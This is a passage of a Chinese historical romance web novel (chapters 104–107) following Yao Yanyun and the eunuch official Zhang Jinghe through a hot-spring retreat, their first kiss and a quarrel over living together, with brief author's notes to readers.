“脸上带着笑,春风满面的,眼里都透着亮。”芸娘说着,似有若无地瞥了一眼身旁的姚砚云,眼底的笑意更浓了。 姚砚云被这目光一扫,脸颊倏地发烫,连忙低下头,指尖绞着衣角。 张景和:—— 作者有话说:旋穹周回,三朝肇建。 青阳散辉,澄景载焕。 标美灵葩,爰采爰献。 圣容映之,永寿于万。 《晋书列女传》 第104章 初二清早,一行人便动身往汤泉庄子去,芸娘也随同前来。 这一路比往漱玉泉时远了些,待下了马车,姚砚云才发觉,原是处崭新的庄子。 她扶着芸娘下了马车,笑着叹道:“要是干爹也一起来就好了。” 芸娘拍了拍她的手,温声道:“他本是要跟着来的,偏他的腿疾又犯了,我强留他在家歇着了。” 两人正说着话,张景和已从另一辆马车上下来,几步走近:“干娘,路上可累着了?先去屋里歇歇吧。” 芸娘摆摆手,目光打量着周遭:“我还没老到走几步路就乏的地步。这就是你新置下的庄子?前些日子听你干爹提过一嘴。” “正是,”张景和应着,又道,“往后干娘若想来散心,直接打发府里人送你来便是。” 话音刚落,庄里的管事便上前引着众人往住处去。领姚砚云的是个眉目清秀、身形高挑的年轻小厮,他边走边笑着介绍:“姑娘,庄子后头还有座小山,常有些附近的游客来赏景,看日出日落都极好。山不算高,路也平缓,姑娘若有兴致,明日尽可去逛逛。” 姚砚云点头应下:“好,那我明日便去瞧瞧。” 忽又想起来时路上瞥见的一片艳色,便又问:“方才来的时候,瞧见外头似有一片梅园,红彤彤的煞是好看,可是这里的景致?” 小厮忙答道:“姑娘说的是,那是后山的野生梅林,现下正开得盛呢。” 另一边,和芸娘说着话的张景和,目光却时不时往姚砚云这边瞟。见她同小厮聊得热络,嘴角不自觉撇了撇,低低嗤笑了一声…… 姚砚云的上房在芸娘对面,张景和的隔壁。 赶了小半日的路,众人都有些累了,各自回房歇息。姚砚云也不例外,一沾着床榻便沉沉睡去,这庄子的客房都自带汤泉,马冬梅和小元她们也各自在房里安顿,饮食起居自有下人照应,倒省了不少事。 待她一觉醒来,窗外早已暮色沉沉。姚砚云揉着眼睛起身,索性踱到隔壁敲了张景和的房门,推门进去时,见他正躺在藤椅上闭目养神,身上盖着条素色毯子。她x放轻脚步凑上前,俯身想瞧瞧他是不是真睡着了,谁知刚低下头,张景和便倏然睁眼。 四目相对的刹那,他显然没料到她会凑得这么近,惊得猛地坐起身——“咚”的一声,两人的额头结结实实撞在了一处。 “你是不是想吓死我!” “你是不是想撞死我!” 两人同时捂着额头低呼,又不约而同地看向对方。 “过来我看看。”张景和拉过一旁揉着额头的姚砚云,只见她眼眶泛红,竟痛得憋出了泪珠。 拨开她的碎发一看,额角已肿起个不算小的青包。他皱了皱眉,道:“你等着,我让人煮个鸡蛋来,给你滚滚就消肿了。” 不过片刻,张景和便拿着薄毛巾裹好的热鸡蛋回来。 “坐好别动,可能有点疼,忍着点。”他轻声叮嘱,随即用裹着毛巾的鸡蛋,贴着那处青肿,一圈圈缓缓打揉。 姚砚云疼得不住“哎呀哎呀”低叫,在静悄悄的屋里格外清晰。 张景和实在忍不住,板着脸和她说:“你能不能小声些你这样叫,旁人听了,还当我对你做了什么过分的事呢!” 姚砚云的双手轻轻搭在他的膝盖上,仰头望着他,眼眶还红着:“等下我也拿鸡蛋给你滚一滚好不好?” 张景和也看着她,语气放软了些:“这点小事,我自己来便够了。” 姚砚云却瘪了瘪嘴,有些不开心,觉得他又把自己当外人:“你就是不愿让我帮你。” “不过是撞了一下,何必麻烦你。”他别开眼,继续帮她打揉。 姚砚云却执拗地望着他,声音轻轻的:“我就是想要你麻烦我啊” 张景和最是受不住她这般模样,一双眼睁得圆圆的,无辜又执着,像只讨要抚触的小猫,爪子轻轻挠在他心上,痒得他心慌意乱。他猛地偏过头,佯作严肃道:“低头!好好坐着,总看我做什么?” 姚砚云轻声重复:“我想你往后,都能来麻烦我。” 张景和喉结不自觉滚了滚,握着鸡蛋的手指微微收紧,半晌才硬着心肠回她:“我素来不爱麻烦旁人。” 姚砚云立刻追问,语气很较真:“难道我是旁人吗?” 这话戳得张景和心头一颤。他心里早就没把她当外人,可偏生不敢认,这段时日姚砚云的胆子一日大过一日,若是真把心思说破,依着她的性子,怕是要蹬鼻子上脸,不知要闹到什么地步。 他慌忙转了话头,佯怒道:“怎么?见着芸娘在这儿,有人给你撑腰了,连说话都越发放肆了?” 姚砚云抿了抿唇:“便是芸娘不在,我这话也敢大声说。” “你”张景和一下子不知道说什么,此时恰好鸡蛋也滚得差不多了,他道“那你先回去吧,我想歇一会儿。” 姚砚云进来时并没关严房门。方才芸娘在门外恰好听见了两人的对话,此刻便轻轻敲了敲门,走了进来。见姚砚云正收拾着要走,芸娘便顺口问了句:“这是要去哪儿?” 姚砚云道:“我回我的屋子去。” 芸娘挑眉,目光在两人之间打了个转,忽然问道:“你们为什么要分开住?” 姚砚云一时间没答话,她也的确不知道怎么回,总不能说,她其实很想和张景和一起睡,但是他不愿意吧,这样也太没面子了。 芸娘却以为两人吵架了,她看着张景和,意味深长地说了起来:“你看看你这模样!大过年的,跟个小姑娘置什么气?我都懒得说你。有什么事不能坐下来好好说开?老话说得好,良言一句三冬暖,恶语伤人六月寒。” 张景和: 张景和被芸娘说得脸上一阵热,别过脸去咳了两声,竟找不出半句反驳的话。屋里的气氛一时微妙 “罢了罢了,跟你说不清。”芸娘摇了摇头,没再看他,转身便出门了:“我出去散散步,省得在这儿看着你添堵。” ———— 第二日,姚砚云与芸娘约好了同去爬山,晨间用膳时,张景和也一起。 芸娘用完便先回了屋,席间只剩他二人。张景和正想着找些话头,目光忽然顿住,他瞥见姚砚云衣领处沾着片细碎的落叶,抬手便替她拈了下来。 姚砚云不冷不淡地说了一句:“下次这种事情,我自己来就好了,免得麻烦你,反正你也不喜欢被人麻烦。” 张景和眉峰一蹙:“怎么,一大清早便使性子?是谁惹了你不成?” 姚砚云垂眸拨弄着碗里的粥米,连眼皮都未曾抬一下:“自然不是你,是我自己寻不痛快罢了。” “你……”张景和被噎得心头堵闷,话到嘴边又咽了回去。 偏在他兀自生着闷气的光景,姚砚云已搁下碗筷起身,头也不回地走了。 她这一走,张景和也烦躁地一甩衣袖,也起身拂袖而去。 姚砚云回房稍作歇息,消食过后换了身轻便衣衫,便与芸娘一道往山上去了,身后还跟着五六个随行的小厮。 两人脚程不算快,足足爬了近一个时辰才登上山顶。好在山路是先前庄子里的人修过的,倒是好走,山上风光着实不错,若是来得早些,恰逢日出时分,定是惊艳难言。 只是山顶有些冷,姚砚云惦记着芸娘身子,两人赏了片刻景,便下山去了。 下山的路走得轻快许多,可姚砚云久未这般劳碌,待到了山脚,只觉双腿酸软无力,与芸娘相扶着,慢腾腾踱回了庄子。 甫一进门,富贵便急匆匆迎了上来,压低声音道:“姚姑娘,老爷往马场去时,不慎被马踢着了腿,你快去瞧瞧吧!” 姚砚云顺着富贵指的方向望过去,果见四五个人簇着张景和立在那儿。她笑了笑,语气慵懒:“我刚下山,累得不行,你替我回禀公公,让他好生歇着。等我歇够了,再去探望便是。” 富贵面露难色:“那姚姑娘,你何时得空呢?” 姚砚云轻轻摆了摆手,径直绕过他:“我也说不准,你别挡着路,我先回房歇着了。” 一边的张景和见姚砚云头也不回地走了,只气得心口发堵,难不成富贵没和她说清楚? 可他刚才明明看到,她往他这边看了,两两人目光还堪堪对上一瞬。 她竟然就这样走了? 她竟然不理他!!! 富贵讪讪地折回来,瞧着张景和铁青的脸色,小声问:“老爷,要不小的再去把姚姑娘请过来?” “不必!”张景和从齿缝里挤出两个字,冷哼一声,也大踏步往屋里去。其实他不过是被马蹭了一下,根本没什么事,不过是念着早上的别扭,想寻个由头让她过来,也好递个台阶罢了。 可她呢? 亏他之前还想着,带她去骑马转一转,她倒是好,连自己受伤了都不闻不问!她就是个没良心的! 第105章 姚砚云的上房与张景和的上房仅一墙之隔,她卸了发髻、褪了衣裳,赤身浸入屋内的汤泉池中。 待身子沉进温热的泉水里,才发觉这房舍原是套间格局,她这边的汤池竟与隔壁的汤池相通,只隔着一排插在水中的小木栅,堪堪将两处隔开。 她舒展四肢靠在池壁上,指尖划过水面,漾开圈圈涟漪。暖意顺着四肢百骸蔓延开来,刚驱散几分白日的疲惫,隔壁忽然传来轻缓的脚步声,由远及近,最后停在池边。姚砚云下意识往那边看去,不用想也知道,是张景和来了。 张景和走到池边,便听见对面传来“扑通扑通”的水声,瞬间便猜到是姚砚云在那边。他下意识想转身离开,可转念一想,这般躲闪反倒显得自己心虚胆怯,倒像是怕了什么似的。咬了咬牙,终究还是解开里衣的系带,缓步踏入水中。 温热的泉水包裹住身体,身上的紧绷骤然消散,张景和不自觉放松下来,目光却总忍不住往木栅那边瞟。 他在心里一遍遍告诫自己,不过是来泡汤放松而已,切莫胡思乱想。 可人心偏是不由己,越是刻意克制,思绪反倒越飘得远。他暗暗想着,姚砚云竟始终不开口与他说话,莫不是还在为白日的事置气?可她有什么好生气的,他都还没生气呢! 罢了罢了不想这么多了,他再次告诫自己。 “景和” 忽然,姚砚云清脆的嗓音隔着木栅飘过来。 张景和故意沉住气不应,只装作惬意地靠在池x壁上,任由泉水漫过胸口。 那边的姚砚云似是挪到了木栅旁,又轻轻唤了起来。 “景和” “景和” “景和哥哥” “景” “好了好了!”张景和终于绷不住,连忙打断她,深吸一口气,只觉心口像是被羽毛轻轻搔着,痒丝丝的,“有什么事便直说。” 姚砚云道:“听富贵说,你的腿被马踢着了,现下好些了吗?” 听闻这话,张景和心头一暖,白日里那点闷气竟散了大半,原来她终究是关心自己的。他佯作随意地问:“你怎会知晓我受伤了?” “我听富贵说的呀。”姚砚云说着,抬脚轻轻踢了踢水,溅起的水珠撞在木栅上,发出细碎的声响。 张景和故意笑了笑,故意打趣:“那便多谢姚姑娘挂心了。” 木栅那边传来她清脆的笑声:“不用谢。” 张景和: 姚砚云却没停下,又絮絮叨叨将今日同芸娘爬山所见的景致说与他听:“原本是想喊上你的,谁叫你偏要惹我生气。” 张景和险些脱口问出“我何时惹你生气了”,话到嘴边又硬生生咽了回去,他太清楚,这话一问出口,她又有一大推问题等着他 他只得故作不在意地回:“便是请我,我也懒得去。” 姚砚云只淡淡应了一声“哦”,沉默片刻,又忽然想起什么似的问:“景和,我听旁人说,汤泉泡久了会晕死过去,这话是真的吗?” 她顿了顿,又道:“那等下你可得记着提醒我上来,不然我一个人住在这里,真晕死过去了,怕是都没人知晓” “姚砚云!”张景和急忙打断她,“呸呸呸!!!大过年的,胡说什么死不死的!” 又想起她刚来张府时,差点丢了性命那次,连忙补了句:“你会平平安安的,身子也会慢慢好起来,别瞎想。” 木栅两侧一时又归了寂静,只剩汤泉蒸腾的水汽簌簌作响。过了片刻,才听见姚砚云的声音轻轻传来:“我家里人都叫我砚砚,你你也能这样叫我一声吗?” 沉默了好一会儿之后,木栅上另一侧,传来一声呼唤。 “砚砚。” “嗯” 姚砚云之所以这样要求,是因在现代时,唯有最亲密的家人会这般唤她,而她也只允许心底最亲近之人,叫她这声小名。 这一答一应后,两人虽隔着木栅互不相见,却都不约而同地红了脸颊 姚砚云这时才猛然惊觉,自己此刻身无寸缕,竟与他共泡在同一脉汤泉里,慌忙将身子往水下缩了缩,连耳根都烧了起来。 另一边的张景和似也骤然意识到这层暧昧,同样急急将身子往下沉,恨不得连头都埋进水里,只留一双发烫的耳朵露在外面 汤池里烟雾袅袅,氤氲的水汽缠缠绕绕。 张景和不知怎的,总觉得对面飘来一股清幽幽的香,分不清是汤泉里加的花瓣香,还是她身上的体香,只觉那香气混着水雾,丝丝缕缕往他鼻息里钻,从眼到鼻,从脸颊到心口,都像是被这温柔的气息裹住。 一瞬间,整个人竟莫名躁动起来。他是个去了势的人,可直到今日,也不得不承认,每次靠近她时,那种难以言说的悸动,总还是会不受控制地涌上来 “景和” 姚砚云的声音又软软地飘过来,裹着汤泉的水汽,缠缠绵绵绕在耳畔。 “你不要说话……”张景和急忙打断她,生怕再多听一句,自己便要乱了心神。 姚砚云: 张景和故作镇定地开口:“对了,你的药带过来了没有?” “带了。”姚砚云有些疑惑,“出门的时候,你在马车里反复叮嘱了三次,我怎会忘了?” 张景和又支支吾吾地问:“那你今天……喝了没有?” “睡前才该喝的,”姚砚云轻轻晃了晃脚,水花溅起细碎的声响,“我等会儿回去就温着喝。” “那你,那你,记得一定要喝,”张景和又重复了一遍,“若是药喝完了,也记得和我说。” 姚砚云觉得奇怪,他怎么忽然就说话说的颠三倒四的? 可就是这样一通慌乱的追问,让张景和胸腔里翻涌的情绪渐渐平复下来。 “我上去了。”姚砚云轻轻留下一句,便听见那边传来窸窸窣窣的水声与衣料摩擦声。 她披衣起身,擦干身上的水汽,又取了一方素色布巾,慢条斯理地擦拭着湿发,乌黑的发丝垂落肩头,沾着细碎的水珠,在烛火下泛着柔和的光。 擦着擦着,她指尖顿了顿,心里忽然漾起几分说不清的念头。思忖片刻,她还是走了出去,轻轻叩了叩隔壁的房门。 好在此时张景和也已穿戴整齐,也简单地束发了。 “给你的。”姚砚云抬手递过一朵野花,花瓣是浅浅的粉白,带着山野间清新的草木气,“也不知道这是什么花,就是觉得长得好看,今日爬山时顺手摘的,想着给你带来。” 张景和垂眸看着那朵花,唇角勾起一抹笑意:“你就不怕这花有毒?” 姚砚云蓦地睁大了眼,惊呼一声:“啊?不会吧……”说着便要伸手去夺,“那我扔了它好了。” “罢了,留着吧。”张景和笑着按住她的手,接过野花转身走到案前,将它插进一旁的竹雕笔筒里,那笔筒上刻着疏朗的竹枝纹样,素净的竹色衬着粉白的花瓣,竟添了一些雅致。 两人又聊了一会儿后,张景和便取过一叠折子,伏案提笔开始处理公务。姚砚云知他忙碌,便也识趣地不再打扰,搬了张小杌子坐在一旁,撑着下巴静静看他。 姚砚云一下看他的脸,一下子看他的发,最后定格在他执笔的手上。 张景和被这道灼热的目光盯得浑身不自在,终于搁下笔,抬眼皱着眉问:“一直盯着我看什么?” 姚砚云这才回过神,半点不掩饰自己的想法,直言不讳道:“我觉得你的手,比你的脸好看一些。” 张景和: “你整天都在想些稀奇古怪的事?”张景和无奈地笑了。 姚砚云就没理他了,没再接话,取过一旁搭着的布巾,坐在杌子上慢慢擦拭未干的头发。待头发擦得半干,她瞥见屋角书架上摆着不少书,便起身走过去,指尖轻轻拂过书脊,挑了本感兴趣的,站在书架旁静静翻看。 屋内地龙烧得正旺,暖意裹着淡淡的墨香漫在空气里。姚砚云来时只穿了件月白色中衣,外面披了件轻薄的藕荷色披肩,她随手将披肩解下,搭在书架旁的椅背上。 中衣料子轻薄,紧紧贴着身子,将她玲珑的身段勾勒得愈发清晰。 张景和忙完手头的事抬眼望去,目光落在她身上时顿了顿。立刻别开了眼。 “太晚了,你回去歇息吧。”他强压下心头的乱绪,起身拿起椅背上的披肩,快步走到姚砚云身边,将披肩重新披在她肩上。 待她走后,张景和才松了口气,转身走回屋内。他解了外衣,又一次踏入那池汤泉,只是这次没掌灯,屋内只剩一片浓重的黑暗。他缓缓沉下水去,任由温热的泉水漫过胸口、没过口鼻,几乎要溺死自己 第106章 第二日晌午,陈秉正驱车而至,说是来这边散散心。 他不单是自己来了,还为众人备下了新年礼,连芸娘与姚砚云随行的丫鬟们,也都一一顾及到了。 这会儿一众小丫鬟正凑在一处排着队,眉眼弯弯地领礼物,院里这个时候全是欢笑声。 芸娘瞧着这光景,打趣陈秉正道:“你倒是依旧这般会讨小姑娘们的欢心。” 张景和就立在一旁,静静看着他忙前忙后,末了递去一个颇有些无语的眼神,似是实在没眼看这热闹,转身便回了屋。 姚砚云站在侧边,将这一切看在眼里,只觉这陈秉正这人当真不错,并且容貌又出挑得很,怪不得那些经过的丫鬟们都纷纷看向他。 她正暗自想着,陈秉正已拿着一份礼物走近:“姚姑娘,这是送你的。” 姚砚云含笑接过,道了声谢。 可递完礼物,陈秉正却似有话哽在喉头,那欲言又止的模样落在姚砚云眼里,她心下了然,想来他是有话要对自己说,便轻声问:“要不移步那边?”说着,指了指院角一处僻静的拐角。 二人随即往那边走去。 到了拐角处,陈秉正先四下环顾一番,确认周遭无人,才从袖中取出一只x小巧的木盒,低声道:“姚姑娘,这个劳烦你帮我带一下给,淑给方小姐。” 他顿了顿,又补充道:“她快要成亲了,这玩意是我多年前答应送给她的,一直没送成,你帮我捎去,就算是给她的新婚贺礼” 姚砚云接过木盒,她点头应下:“行,那我便等她成亲那日再送去。” 陈秉正笑了笑:“那就多谢姚姑娘了。” 交代完此事,陈秉正便转身欲走,可刚行出几步,又折返回来,神色有些郑重:“对了,为免生出不必要的麻烦,还请你谁都不要提及此事,就连玄英,最好也……” 姚砚云给了他一个笑脸:“你放心好了,我知道怎么做。” 之后陈秉正便寻张景和去了,姚砚云则与芸娘、马冬梅等人沿着附近的乡野小路缓步而行。她们此番是专程来寻那片野生梅林的,没成想那梅园看着是在庄子附近,实际上一行人脚不停歇走了将近半个时辰,才总算望见那片梅林的影子。 到了梅林外,众人先候着同行的小厮前去打探路况,待他折返禀报说路径无碍,这才相偕踏入。 好在没让众人失望,一进去,满目的嫣红便撞入眼帘,密密匝匝的梅枝交错,花瓣像被胭脂点染过似的,美得不可方物。刚好这片大梅园里,此时并只有寥寥游人,一行人便放了心,慢悠悠地逛了许久。 芸娘还伸手折了几枝品相佳的梅花,预备回去插瓶,马冬梅和小元玩得最开心,兴致勃勃地挑拣着开得最俏的花朵,给每人的发髻上都别了一朵。 在梅园里流连了好一阵子,众人又沿着周边的田埂随意走了走,待踏上回庄子的路时,天色已晕染开淡淡的暮色,转眼便到了傍晚。 与芸娘一同用完晚膳,姚砚云便回了自己的住处。路过张景和的房门时,她抬手轻叩了几下,屋内却静悄悄的无人应答,想来他定是与陈秉正一同外出了吧。 后来她又踱去马冬梅的房里,两人闲聊了半晌,告辞出来时,路上恰巧遇上了富贵,她问:“你知道公公去哪里了吗?” 富贵道:“回姑娘的话,老爷与陈公公正在亭子里饮酒呢。” 姚砚云闻言点了点头,便不再多问,转而往园子深处走去。这庄子里的景致排布得极精巧,她这时闲来无事,想着去随意逛逛也好。 亭子处 张景和虽只饮了两杯,脸颊却已染了醉红,眼神也微微发晃,他蹙着眉看向陈秉正,语气带着不耐烦:“你下次能不能找别人喝?” 他素来不喜饮酒,酒量更是浅得很,此刻只觉头晕乎乎的,又瞪了陈秉正一眼:“你明知我酒量不好,何苦非拉着我?” 陈秉正端着酒杯,笑意吟吟地睨着他,他酒量向来好,此刻依旧清醒得很,闻言只摆手道:“你这没良心的,我难道没陪你喝过吗?不过是陪我喝两杯,倒还怨上了。” 说着,他又促狭地凑近几分,挑眉打趣:“我瞧着,你怕是急着回去找姚姑娘吧?” 张景和踢了他一脚:“你要喝就自己喝吧,我回去歇着了。” 说罢便扶着亭柱站起身,脚步虽有些虚浮,却也不算踉跄,径自摇摇晃晃地往住处去了。 走了没几步,他闻着身上散不开的酒气,索性拐去园子深处,想着吹吹晚风醒醒酒。 行至池边时,忽见廊下立着一道熟悉的身影,他揉了揉微涩的眼,才看清那人是姚砚云,正端着小碗,捻着鱼食慢悠悠喂着池里的锦鲤。 他立在不远处,静静看了她好一会儿,还是姚砚云先抬眼瞧见了他。 “景和?你不是在和陈公公喝酒吗?”姚砚云停下手中的动作,朝着他走了过去。 张景和淡淡应道:“喝完了。” 姚砚云凑近时闻到他身上的酒味,问他:“那你喝醉了没?要不要我让人给你熬碗醒酒汤?” “不必了。”张景和摆了摆手。 “那你要喂鱼吗?”姚砚云侧身指了指手边的碗,碗沿沾着几粒鱼食。 张景和摇了摇头:“不要。” 姚砚云见状,便又折回池边,张景和也缓步跟了过去。目光落在她鬓边斜插的那红梅上,随口问起她今日去了何处,姚砚云便兴致勃勃地,将今日去梅林的事一一说与他听。 话到半途,她忽然笑出声,想起今日一件趣事,她道:“对了,芸娘府里那小厮,可真是个神人!” 张景和挑眉:“有多神?” “我们在梅园里走着,忽然蹿出只野兔,那小厮跑得很快,竟直接追上去徒手把兔子逮住了!我和芸娘当时都看傻了。”姚砚云说得绘声绘色,一边说还一边抬手比划着小厮追兔子的模样。 此时暮色刚沉,园子里的灯笼早已点亮,暖黄的光晕落在她脸上,将那双含笑的眼睛衬得像星星似的。张景和就这般静静望着她,耳边明明是她清脆的话语,却什么都没听清。 他的目光,自始至终都胶着在她水润的唇瓣上。 见他半晌没应声,姚砚云停下比划的手,歪着头看他:“能徒手抓兔子还不厉害啊?换作旁人,怕是连兔子的影子都追不上呢!” 张景和只淡淡吐出三个字:“不厉害。” 姚砚云没理他,又继续说道: “那小厮抓到兔子后,还兴冲冲地说今晚要架起篝火烤了吃,说烤兔肉撒上椒盐,香得能让人把舌头吞下去呢,我还没吃过兔肉呢?你呢?” “对了,你用晚膳了吗?总不会从我们出门一直喝到现在吧?” “我” 她的话还没说完,唇瓣忽然被温热覆盖。 “唔” 手中的鱼食碗“哐当”一声摔落在地,碎瓷片混着鱼食溅了一地,惊得池里的锦鲤倏然四散游开。 张景和捧着她的脸,俯身吻了下来,带着淡淡酒气的吻,猝不及防 许是酒意上头乱了心神,让他暂时忘了自己是个残缺的阉人,又或许是今晚的她太过动人,每一处都勾得他心头发烫。 此刻他什么都不愿想,只想狠狠吻住她。 一开始,他的唇瓣只是轻轻贴着她的,感受到她唇瓣的柔软与温热时,后面才试探着轻轻碾过她的唇瓣,这一动,像是解开了某种桎梏,从最初的浅尝辄止,慢慢变成了更深的纠缠,他微微侧头,加深这个吻,舌尖小心翼翼地描摹着她唇齿的轮廓。 掌心贴着她的脸颊,那温度烫得惊人。姚砚云的身子渐渐软了下来,双腿有些发颤,就在她快要站不稳时,他的手臂顺势揽住了她的腰,将她往自己怀里带了带,像是怕她挣脱,又像是本能地想要靠近 一吻终了,两人微微喘着气分开 张景和的酒醒了,姚砚云傻了 两人面面相觑,目光相撞的瞬间又慌忙错开,浑身都透着无措。 姚砚云下意识抬手摸着自己红肿的唇瓣,指尖的触感滚烫,恍惚得像做了一场不真切的梦。 张景和率先打破沉默,耳根泛红,语气僵硬不不自然地道:“回去吧……夜里凉。” 姚砚云下意识应了声“哦”,声音轻得像蚊蚋。 她乖乖跟在张景和身后,两人踩着石板路上晃动的灯影,脚步声轻得近乎没有。 一路无言,只有偶尔风吹过树梢的“沙沙”声,还有彼此间若有若无的呼吸声,将那股未散的暧昧悄悄裹住,在寂静的夜色里慢慢蔓延。 直到各自走到上房门口,姚砚云看着他转身时略显仓促的背影,鼻尖似乎还萦绕着他身上的酒气连带着方才那阵心悸,都久久未曾散去。 回到房里,她连大衣都没脱,径直躺倒在床榻上。一闭上眼,方才的画面就又涌了上来,脸颊“轰”地一下热起来,像烧着了似的。 她慌忙用手去揉自己的脸,想把那股热意压下去,可指尖触到的皮肤越来越烫,连耳后都烧了起来。 那个吻的触感又清晰地浮现在唇上,身子却像被点着的火苗,左扭右蹭地翻来滚去,活脱脱像根拧成一团的麻花。 是害羞,是紧张,是喜欢—— 作者有话说:终于破一千个收藏了,谢谢姐妹们的支持,谢谢姐妹们的评论和营养液,因为你们的互动,我才一直写的这么开心[三花猫头] 插个题外话,我下一本写《我凭什么守寡》会是个甜甜的拉扯感十足的故事,欢迎姐妹们帮我收藏一下哈哈哈,(名字是土了点,后面再看看要不要改吧) 第107章 自庄子一x行归来,姚砚云与张景和之间的感情,分明是悄然近了一步的,至少姚砚云是这样认为的。 虽说张景和性子依旧别扭,可姚砚云偏不信这个邪,她总想着,日子还长,总有一日能焐热他这颗心,让他对自己彻底敞开心扉。 只是这般相处,她心底的渴望竟一日盛过一日,她想和张景和像一对寻常爱侣般相处,可张景和就不一样了,似乎只要她陪他吃顿饭,和他说一会儿话,他就得了天大的满足。 他也太容易满足了!!! 这可怎么行呢!那既然的话,他们做姐妹好了,还做什么他的女人!! 她想了好久,还是决定搬到望雪坞和他一起住,两人住一起了,才有更多的可能!至于什么可能,两人可以慢慢摸索 恰逢这日天朗气清,还出了几缕暖融融的日光。姚砚云找出一口木箱,将自己常穿的衣裙、常用的螺钿梳子并几样精巧的闺阁物什一一拾掇进去,叫来三喜,让他先将箱子送去望雪坞张景和的寝居。 她心里仍有些打鼓——怕张景和不愿意,更怕他动气。可转念一想,又悄悄鼓了鼓勇气:如今自己在他心里,总归是有些分量的,不妨试试。 她到了望雪坞后,慢条斯理地收拾着。才将半箱衣物叠得齐整,门外忽然传来脚步声,抬眼一瞧,竟是张景和回来了。 这倒是难得,往日里,他极少会在午时这个时辰折返府中。 张景和走进寝室,一眼便望见散了半床的衣裙,还有正哼着小曲收拾的姚砚云,不由得怔住:“你在做什么” 姚砚云对着他笑了笑:“自然是收拾我的衣裳。我想好了,往后便搬来与你同住。” “你……”张景和喉结动了动,惊得连话都说不利索,“这样不好吧,我经常都不在府里,你不如还是住在踏月轩,至少马冬梅还能陪你说说话啊。” 他一边说着,一边伸手,竟将姚砚云叠好的几件衣裳,又一件件放回了箱子里。 姚砚云道:“可你总有回来的时候,不是吗?” 张景和: 姚砚云见状,索性绕到他身后,双臂轻轻环住他的腰,脸颊贴着他的背,撒娇道:“就让我陪着你,好不好?” 张景和把她的手掰开了:“你别胡闹!哪有姑娘家像你这般,说话行事如此孟浪?传出去,成何体统!” 姚砚云一肚子话还没说出口,便被他堵了回去。他又沉声道:“听话,先回踏月轩去。这些东西,我稍后便让人给你送回去。” 姚砚云跺了跺脚,杏眼瞪得圆圆的:“我为何不能住在这里?” 张景和板着脸道:“这不合适。” 姚砚云目光灼灼地望着他:“哪里不合适?” 张景和被她瞧得心头一颤,眼神躲闪着,话语也变得支支吾吾:“我……我毕竟是男子,你我这样,未免太过……” “正因你是男子,我才要与你同住。”姚砚云截断他的话,“若你是女子,我反倒不来了。” 见她这般执拗,一副不达目的誓不罢休的模样,张景和只觉心头火急火燎,佯作怒容,沉声道:“姚砚云,莫非是我往日太过纵容你,竟让你忘了这府里,究竟是谁当家做主?” 姚砚云抿了抿唇,轻声道:“是你。” 张景和道:“你知道就行,别再给我胡闹了。” 可姚砚云早已铁了心,非要捅破这层窗户纸不可,她其实也多少知道一些,张景和这般排斥的原因,她道:“景和,我希望你不要想太多了你不必因为你的身份就把我往外推,因为我我不在乎这个。” “你别说了。”张景和自然知道她说的是什么,只是他不想再听了,心跳如擂鼓。 姚砚云却没如他所愿,不容他逃避,语气温柔又说了一句:“我不在乎这个,有没那点东西,我真的不在乎。” “你出去!”张景和只觉头皮发麻,浑身的血液似都涌到了头顶,他猛地转过身,背对着她。 他这么一说,姚砚云就不开心了,她鼓足了勇气,主动向他靠近,他却还是那么不解风情。 姚砚云有些委屈:“府里上上下下这么多双眼睛,都瞧见我让三喜搬了东西过来。你如今叫我原封不动地搬回去,旁人会怎么看我?一个失宠的女人?还是笑我连你的枕边都挨不上,就被这般狼狈地赶了出来?” 张景和道:“谁敢嚼舌根,我便拔了谁的舌头!” 姚砚云道:“你就这么狠心是吗?非得赶我走。” 张景和别开眼,避开她那双灼人的目光,声音软了一些:“你别胡思乱想,回去踏月轩好好歇一觉,醒了便什么事都没了。” “该别胡思乱想的是你!”姚砚云猛地拔高了声音,满心的委屈与恼怒翻涌上来。 她是真的生气了。她放下身段,百般示好,他却始终这般拒人于千里之外。他难道是块千年不化的寒冰吗?这般冷酷无情。就算真是寒冰,朝夕相处了这么久,也该被她焐出几分暖意来了。 想到这些,她转身便朝着门外大步走去,连头都未曾回一下。 张景和看着她步子急促的模样,心头一紧,指尖刚要触到她的衣袖,却又硬生生顿住,任由她的身影消失在门外 姚砚云回到了踏月轩,在独自生闷气。直到小元和马冬梅进来,见她脸色难看,提议玩会儿毽子解闷,她才起身接过毽子。玩了一会儿之后,她心头的郁结才渐渐散开,脸色也缓和了许多。 转眼就到了方淑宁大婚的日子,姚砚云为了转移注意力,特意找出为方淑宁准备的新婚贺礼,她仔细检查了一遍,之后又吃了晚膳,心情才彻底恢复了过来。 入夜后,姚砚云觉得无聊,又唤来小元、马冬梅,三喜一起玩牌。或许是心情转好的缘故,她今晚的运气格外好,一把接着一把赢,笑得眼睛都眯了起来,之前的不快早已抛到了九霄云外。 另一边,张景和独自在用晚膳。桌上摆着菜色,都是他喜欢的,可他却没什么胃口,筷子夹着菜,心思却全在白天和姚砚云的争执上。 他反复回想当时的场景,心里渐渐泛起悔意:今日或许真不该对她那般说话,语气太重了些。往常这个时候,她总会蹦蹦跳跳地来找他,可今晚她却没来 想必还在为白天的事伤心吧?他越想越不安,甚至忍不住琢磨:她会不会躲在房间里哭?会不会因为生气连晚饭都没吃? 这般想着,他终究是不忍心,把富贵叫了进来:“你现在去厨房一趟,让他们煮一碗燕窝粥,仔细盯着煮好后,立刻送到踏月轩给姚姑娘。记住,一定要看着她把粥吃完,回来跟我回话。” “是,老爷,小的这就去。”富贵应了声,转身快步往厨房去了。 到了厨房,富贵把张景和的吩咐一说,负责煮粥的厨娘闻言,笑着感叹:“姚姑娘真是个好姑娘,胃口也好得很呢。傍晚送去的晚膳,她吃得干干净净,没多久又让人来传话,说想尝尝甜口的小吃,我们送了桂花糕和杏仁酥过去,没一会儿又让人来加了一碟。” 富贵听了也觉得有些奇怪,老爷这突然让送燕窝粥,难不成是担心姚姑娘没吃饭?不过他也没多问,只守在一旁,等燕窝粥煮好,小心翼翼地端着食盒往踏月轩去了。 到了踏月轩,富贵把食盒递给姚砚云,说明是老爷特意让人煮的燕窝粥,要看着姚姑娘吃完。 姚砚云坐在桌边,看着那碗冒着热气的燕窝粥,心里明镜似的——张景和这是服软了,又拉不下脸来亲自来,才让富贵送粥过来。 可她想起白天他那强硬的语气,心里的气还没完全消,便故意板着脸,对富贵说:“你和公公说一声,不用对我那么好,我受不起。” 富贵在一旁急得直冒汗,却也没办法,只能如实回去给张景和回话。 听富贵回来后,这么一说,张景和知道她和自己在堵气,也堵着气,没去找她。 